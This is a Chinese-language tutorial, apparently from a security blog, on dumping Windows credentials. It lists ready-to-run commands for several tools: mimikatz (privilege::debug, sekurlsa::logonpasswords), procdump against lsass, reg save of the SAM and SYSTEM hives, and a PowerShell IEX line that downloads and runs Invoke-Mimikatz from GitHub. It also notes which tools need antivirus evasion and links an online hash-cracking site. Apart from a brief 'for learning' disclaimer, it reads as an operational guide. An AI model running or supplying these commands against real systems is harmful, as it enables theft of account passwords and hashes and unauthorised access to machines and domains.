这篇文章主要是介绍怎么在本地提取用户密码,把知识整理了一下,把知识整理起来的威力还是挺大的。以下的方式分为要免杀和不需要免杀的方式。文章介绍的技术具有一定的攻击性,主要用于学习。
要免杀:
1.Getapss
Getapss是由闪电小子根据mimikatz编译的一个工具,可以获取明文密码。现在有32位和64位了,直接运行getpass.exe。
2.QuarksPwDump
目前可以导出 :- Local accounts NT/LM hashes + history 本机NT/LM哈希+历史登录记录 – Domain accountsNT/LM hashes + history 域中的NT/LM哈希+历史登录记录– Cached domain password 缓存中的域管理密码 【这需要域管理员登陆过】。
其实这个目前不需要免杀,最新的尝试检验了一下,发现不免杀处理,效果也可以用法:
Options :
-k --get-system-key
-dhl --dump-hash-local
-dhdc --dump-hash-domain-cached
-dhd --dump-hash-domain (NTDS_FILE must be specified)
-db --dump-bitlocker (NTDS_FILE must be specified)
-sf --system-file FILE
-sk --system-key KEY
-nt --ntds-file FILE
-hist --with-history (optional)
-t --output-type JOHN/LC (optional, if no=>JOHN)
-o --output FILE (optional, if no=>stdout)
Example: quarks-pwdump.exe--dump-hash-domain --with-history
quarks-pwdump.exe -dhl
3.mimikatz的利用
这个一个法国人写的一款工具,可以得到windows明文密码,这只是功能之一,用处还有很大。例如黄金票据的利用,这里有介绍:http://www.freebuf.com/sectool/112594.html
第一条:privilege::debug
//提升权限
第二条:sekurlsa::logonpasswords
//抓取密码
不需要免杀:
1.使用注册表导出hash命令:
reg save hklm\sam C:\hash\sam.hive
reg save hklm\system C:\hash\system.hive
直接执行可以把windows里所有用户的hash在注册表中导出到文件里.
具体的执行命令方法有很多,这里就不探讨这个.
打开Cain读取导出的注册表文件的hash.
选择Cracker.-再选择第一个LM & NTLMhash导入注册表文件
右键选择add tolist-选择最后一个
先添加SAM文件
再添加boot key
可以获取hash值,hash值可以在这个网站那里破解.
http://www.objectif-securite.ch/ophcrack.php
2.procdump
procdump是微软官方提供的一个小工具,在微软官方有下载
地址:https://technet.microsoft.com/en-us/sysinternals/dd996900
将工具拷贝到目标机器上执行如下命令(需要管理员权限,我选择的版本是64位)
Procdump64.exe -accepteula -ma lsass.exelsass.dmp
将这个内存dump文件拷贝到mimikatz同目录下,双击打开mimikatz执行情况如图:
mimikatz # sekurlsa::minidump lsass.dmp
Switch to MINIDUMP
mimikatz # sekurlsa::logonPasswords full
3.Powershell+mimikatz的利用
在windows中powershell是白名单来的,不需要进行免杀,可以利用直接用poweshell来调用mimikatz进行明文的获取。 powershell "IEX(New-ObjectNet.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz"
也可以把mimikatz的poweshell文件放在边界的服务器上,利用powershell可以读取:
4.powershell+getpasshash
也是利用powershell,不过是利用getpasshash,这个还是要解hash值的。当不能够解除hash的时候,也可以进行wce进行hash的注入。
powershell "IEX (New-ObjectNet.WebClient).DownloadString('c:/Get-PassHashes.ps1'); Get-PassHashes "
成功导出hash
5、SAMInside
SAMInside为一款俄罗斯出品的Windows密码恢复软件,支持Windows NT/2000/XP/Vista操作系统,主要用来恢复Windows的用户登录密码。
使用说明:
导入本地系统和文件,当然,也可以从项目文件、文件导入,注意SAM文件是系统的SAM文件,一般在C:\WINDOWS\system32\config路径下,看下图:
参考文章: